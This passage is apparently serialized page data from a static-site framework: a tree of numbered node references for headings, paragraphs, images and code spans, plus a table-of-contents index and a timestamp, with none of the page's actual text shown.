rops":168767,"children":168768},{},[168769,168770,168774],{"type":31,"value":6523},{"type":25,"tag":64,"props":168771,"children":168772},{},[168773],{"type":31,"value":6528},{"type":31,"value":6530},{"type":25,"tag":38,"props":168776,"children":168777},{},[168778],{"type":25,"tag":6461,"props":168779,"children":168780},{"alt":6536,"src":6537},[],{"type":25,"tag":26,"props":168782,"children":168783},{"id":6541},[168784],{"type":31,"value":6544},{"type":25,"tag":607,"props":168786,"children":168787},{"id":6547},[168788],{"type":31,"value":6550},{"type":25,"tag":38,"props":168790,"children":168791},{},[168792],{"type":31,"value":6555},{"type":25,"tag":38,"props":168794,"children":168795},{},[168796],{"type":25,"tag":6461,"props":168797,"children":168798},{"alt":6561,"src":6562},[],{"type":25,"tag":607,"props":168800,"children":168801},{"id":6566},[168802],{"type":31,"value":2054},{"type":25,"tag":38,"props":168804,"children":168805},{},[168806],{"type":31,"value":6573},{"type":25,"tag":38,"props":168808,"children":168809},{},[168810],{"type":25,"tag":6461,"props":168811,"children":168812},{"alt":6579,"src":6580},[],{"type":25,"tag":38,"props":168814,"children":168815},{},[168816,168817,168822],{"type":31,"value":6586},{"type":25,"tag":82,"props":168818,"children":168820},{"className":168819},[],[168821],{"type":31,"value":544},{"type":31,"value":6593},{"type":25,"tag":26,"props":168824,"children":168825},{"id":6596},[168826],{"type":31,"value":6599},{"type":25,"tag":38,"props":168828,"children":168829},{},[168830],{"type":31,"value":6604},{"type":25,"tag":607,"props":168832,"children":168833},{"id":6607},[168834],{"type":31,"value":6610},{"type":25,"tag":38,"props":168836,"children":168837},{},[168838,168839,168843],{"type":31,"value":6615},{"type":25,"tag":64,"props":168840,"children":168841},{},[168842],{"type":31,"value":6607},{"type":31,"value":6621},{"type":25,"tag":38,"props":168845,"children":168846},{},[168847],{"type":31,"value":6626},{"type":25,"tag":607,"props":168849,"children":168850},{"id":6629},[168851],{"type":31,"value":6632},{"type":25,"tag":38,"props":168853,"children":168854},{},[168855],{"type":31,"value":6637},{"type":25,"tag":38,"props":168857,"children":168858},{},[168859],{"type":31,"value":6642},{"type":25,"tag":607,"props":168861,"children":168862},{"id":6645},[168863],{"type":31,"value":6648},{"type":25,"tag":38,"props":168865,"children":168866},{},[168867],{"type":31,"value":6653},{"type":25,"tag":6322,"props":168869,"children":168870},{"url":164},[],{"type":25,"tag":38,"props":168872,"children":168873},{},[168874],{"type":31,"value":6661},{"type":25,"tag":524,"props":168876,"children":168877},{"path":6664,"name":87,"size":6665},[],{"type":25,"tag":607,"props":168879,"children":168880},{"id":6669},[168881],{"type":31,"value":6672},{"type":25,"tag":38,"props":168883,"children":168884},{},[168885],{"type":31,"value":6677},{"type":25,"tag":38,"props":168887,"children":168888},{},[168889,168890,168894],{"type":31,"value":6682},{"type":25,"tag":64,"props":168891,"children":168892},{},[168893],{"type":31,"value":6687},{"type":31,"value":6689},{"type":25,"tag":38,"props":168896,"children":168897},{},[168898],{"type":31,"value":6694},{"type":25,"tag":38,"props":168900,"children":168901},{},[168902],{"type":31,"value":6699},{"type":25,"tag":6701,"props":168904,"children":168905},{},[168906],{"type":25,"tag":6705,"props":168907,"children":168908},{},[168909,168913,168934,168938,168942],{"type":25,"tag":2037,"props":168910,"children":168911},{},[168912],{"type":31,"value":6712},{"type":25,"tag":2037,"props":168914,"children":168915},{},[168916,168921,168922,168927,168928,168933],{"type":25,"tag":82,"props":168917,"children":168919},{"className":168918},[],[168920],{"type":31,"value":6721},{"type":31,"value":6723},{"type":25,"tag":82,"props":168923,"children":168925},{"className":168924},[],[168926],{"type":31,"value":6729},{"type":31,"value":6731},{"type":25,"tag":82,"props":168929,"children":168931},{"className":168930},[],[168932],{"type":31,"value":6737},{"type":31,"value":6739},{"type":25,"tag":2037,"props":168935,"children":168936},{},[168937],{"type":31,"value":6744},{"type":25,"tag":2037,"props":168939,"children":168940},{},[168941],{"type":31,"value":6749},{"type":25,"tag":2037,"props":168943,"children":168944},{},[168945,168946,168951],{"type":31,"value":6754},{"type":25,"tag":82,"props":168947,"children":168949},{"className":168948},[],[168950],{"type":31,"value":6760},{"type":31,"value":179},{"title":7,"searchDepth":6763,"depth":6763,"links":168953},[168954,168955,168956,168957,168958,168961,168962,168963,168966,168967,168970,168974],{"id":28,"depth":6763,"text":32},{"id":18,"depth":6763,"text":52},{"id":111,"depth":6763,"text":114},{"id":431,"depth":6763,"text":434},{"id":466,"depth":6763,"text":469,"children":168959},[168960],{"id":609,"depth":6772,"text":612},{"id":1386,"depth":6763,"text":1389},{"id":1483,"depth":6763,"text":1486},{"id":1703,"depth":6763,"text":1706,"children":168964},[168965],{"id":1955,"depth":6772,"text":1958},{"id":2015,"depth":6763,"text":2018},{"id":6448,"depth":6763,"text":6451,"children":168968},[168969],{"id":6481,"depth":6772,"text":6484},{"id":6541,"depth":6763,"text":6544,"children":168971},[168972,168973],{"id":6547,"depth":6772,"text":6550},{"id":6566,"depth":6772,"text":2054},{"id":6596,"depth":6763,"text":6599,"children":168975},[168976,168977,168978,168979],{"id":6607,"depth":6772,"text":6610},{"id":6629,"depth":6772,"text":6632},{"id":6645,"depth":6772,"text":6648},{"id":6669,"depth":6772,"text":6672},1782987707884]